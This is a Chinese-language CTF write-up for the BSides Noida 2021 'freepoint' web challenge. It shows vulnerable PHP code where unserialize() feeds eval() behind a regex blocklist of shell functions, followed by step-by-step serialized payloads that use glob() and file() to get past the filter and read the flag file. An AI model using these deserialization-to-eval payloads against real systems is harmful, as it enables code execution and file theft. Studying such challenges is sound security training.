BSides Noida CTF 2021--Web/freepoint-glob函数

时间:2021-08-08
本文章向大家介绍BSides Noida CTF 2021--Web/freepoint-glob函数,主要包括BSides Noida CTF 2021--Web/freepoint-glob函数使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
 1 <?php
 2 
 3 include "config.php";
 4 function filter($str) {
 5     if(preg_match("/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i",$str)) {
 6         return false;
 7     } else {
 8         return true;
 9     }
10 }
11 class BSides {
12     protected $option;
13     protected $name;
14     protected $note;
15 
16     function __construct() {
17         $option = "no flag";
18         $name = "guest";
19         $note = "flag{flag_phake}";
20         $this->load();
21     }
22 
23     public function load()
24     {
25         if ($this->option === "no flag") {
26             die("flag here ! :)");
27         } else if ($this->option === "getFlag"){
28             $this->loadFlag();
29         } else {
30             die("You don't need flag ?");
31         }
32     }
33     private function loadFlag() {
34         if (isset($this->note) && isset($this->name)) {
35             if ($this->name === "admin") {
36                 if (filter($this->note) == 1) {
37                     eval($this->note.";");
38                 } else {
39                     die("18cm30p !! :< ");
40                 }
41             }
42         }
43     }
44 
45     function __destruct() {
46         $this->load();
47     }
48 }
49 
50 if (isset($_GET['ctf'])) {
51     $ctf = (string)$_GET['ctf'];
52     if (check($ctf)) { //check nullbytes
53         unserialize($ctf);
54     }
55 } else {
56     highlight_file(__FILE__);
57 }
58 ?>

首先看代码,很明显有个反序列化

要满足:

$option = "getFlag"

$name = "admin";

$note = "你想执行的命令";

这里说一下 ,代码反序列化之前会检查是否有空字节

 三种类型变量区别:

public无标记,变量名不变,长度不变: s:2:"op";i:2;
protected在变量名前添加标记\00*\00,长度+3: s:5:"\00*\00op";i:2;
private在变量名前添加标记\00(classname)\00,长度+2+类名长度: s:17:"\00FileHandler_Z\00op";i:2;

因此 要是序列化protected变量,会产生空字节,因此要改成public

构造:

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo (' test')";//这里注意单引号后面加空格,正则会过滤
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
?>
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:14:"echo (' test')";}

由于正则过滤了一大堆,采用glob函数

比如打印当前目录下目录和文件名:

print_r glob('*')

注意glob返回值是数组,所以一般采用print_r来输出数组信息。

该题过滤了下划线,所以不能用。采用echo的话要加上[0]来表示数组某一个量

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo  glob('*')[0]";
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:18:"echo  glob('*')[0]";}

?>

继续访问根目录,找到flag文件,过程不详细描述了

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo  glob('/home/*')[0]";
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:24:"echo  glob('/home/*')[0]";}
?>

这里要读取文件内容,可以采用file函数

但是正则过滤了小数点和下划线,因此flag文件名字不能出现在note

可以利用函数返回值作为参数绕过

构造

file(glob('/home/*')[0])

注意file()返回值也是数组,因此查看采用:

echo file(glob('/home/*')[0])[0]

最终poc:

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo file(glob('/home/*')[0])[0]";
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:32:"echo file(glob('/home/*')[0])[0]";}



原文地址:https://www.cnblogs.com/aninock/p/15116470.html